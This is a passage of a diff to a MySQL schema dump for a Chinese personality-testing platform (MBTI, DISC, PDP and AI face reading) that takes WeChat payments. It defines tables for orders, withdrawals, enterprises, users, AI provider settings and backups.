DEFAULT NULL, - `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)', - `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)', - `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号', - `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)', - `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID', - `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号', - `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE, - INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_enterprises --- ---------------------------- -DROP TABLE IF EXISTS `mbti_enterprises`; -CREATE TABLE `mbti_enterprises` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID', - `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称', - `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码', - `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名', - `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', - `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', - `balance` int(11) NULL DEFAULT 0 COMMENT '余额', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用', - `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_code`(`code`) USING BTREE, - INDEX `idx_deletedAt`(`deletedAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_finance_records --- ---------------------------- -DROP TABLE IF EXISTS `mbti_finance_records`; -CREATE TABLE `mbti_finance_records` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund', - `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', - `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', - `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', - `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', - `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_type`(`type`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_orders --- ---------------------------- -DROP TABLE IF EXISTS `mbti_orders`; -CREATE TABLE `mbti_orders` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID', - `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号', - `userId` int(11) NOT NULL COMMENT '用户ID', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report', - `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)', - `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled', - `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式', - `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', - `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_productType`(`productType`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_pricing_config --- ---------------------------- -DROP TABLE IF EXISTS `mbti_pricing_config`; -CREATE TABLE `mbti_pricing_config` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', - `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认', - `config` json NULL COMMENT '定价配置(JSON格式)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_questions --- ---------------------------- -DROP TABLE IF EXISTS `mbti_questions`; -CREATE TABLE `mbti_questions` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID', - `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp', - `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容', - `options` json NULL COMMENT '选项(JSON格式)', - `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)', - `sort` int(11) NULL DEFAULT 0 COMMENT '排序', - `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_type`(`type`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_sort`(`sort`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_deletedAt`(`deletedAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_system_config --- ---------------------------- -DROP TABLE IF EXISTS `mbti_system_config`; -CREATE TABLE `mbti_system_config` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', - `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', - `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版', - `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', - `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_system_configs --- ---------------------------- -DROP TABLE IF EXISTS `mbti_system_configs`; -CREATE TABLE `mbti_system_configs` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', - `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', - `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', - `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `configKey`(`configKey`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_test_results --- ---------------------------- -DROP TABLE IF EXISTS `mbti_test_results`; -CREATE TABLE `mbti_test_results` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID', - `userId` int(11) NOT NULL COMMENT '用户ID', - `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face', - `resultData` json NULL COMMENT '测试结果(JSON格式)', - `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情', - `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)', - `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是', - `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是', - `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)', - `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户', - `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_testType`(`testType`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_orderId`(`orderId`) USING BTREE, - INDEX `idx_isPaid`(`isPaid`) USING BTREE, - INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_upload_files --- ---------------------------- -DROP TABLE IF EXISTS `mbti_upload_files`; -CREATE TABLE `mbti_upload_files` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径', - `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL', - `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local', - `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5', - `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)', - `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型', - `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_user_profile --- ---------------------------- -DROP TABLE IF EXISTS `mbti_user_profile`; -CREATE TABLE `mbti_user_profile` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID', - `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)', - `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)', - `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)', - `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数', - `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数', - `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数', - `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数', - `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数', - `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数', - `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)', - `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)', - `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai', - `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间', - `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID', - `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID', - `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID', - `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID', - `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间', - `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE, - INDEX `idx_enterprise`(`enterpriseId`) USING BTREE, - INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_users --- ---------------------------- -DROP TABLE IF EXISTS `mbti_users`; -CREATE TABLE `mbti_users` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', - `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名', - `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)', - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', - `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱', - `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', - `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', - `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', - `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', - `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', - `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `username`(`username`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_role`(`role`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE, - INDEX `idx_deletedAt`(`deletedAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_wechat_users --- ---------------------------- -DROP TABLE IF EXISTS `mbti_wechat_users`; -CREATE TABLE `mbti_wechat_users` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', - `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid', - `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)', - `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥', - `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称', - `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL', - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', - `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女', - `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家', - `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份', - `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市', - `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用', - `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', - `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', - `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', - `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_openid`(`openid`) USING BTREE, - INDEX `idx_unionid`(`unionid`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic; - -SET FOREIGN_KEY_CHECKS = 1; +/* + Navicat Premium Data Transfer + + Source Server : kr_存客宝 + Source Server Type : MySQL + Source Server Version : 50736 + Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 + Source Schema : mbti + + Target Server Type : MySQL + Target Server Version : 50736 + File Encoding : 65001 + + Date: 12/03/2026 17:13:09 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for mbti_activities +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_activities`; +CREATE TABLE `mbti_activities` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID', + `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型', + `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述', + `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_ai_providers +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_ai_providers`; +CREATE TABLE `mbti_ai_providers` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称', + `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用', + `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏', + `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)', + `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点', + `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型', + `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)', + `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数', + `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用', + `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值', + `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注', + `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接', + `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商', + `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询', + `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额', + `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD', + `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除', + `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE, + INDEX `idx_enabled`(`enabled`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_backup_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_backup_records`; +CREATE TABLE `mbti_backup_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名', + `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径', + `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)', + `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL', + `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT 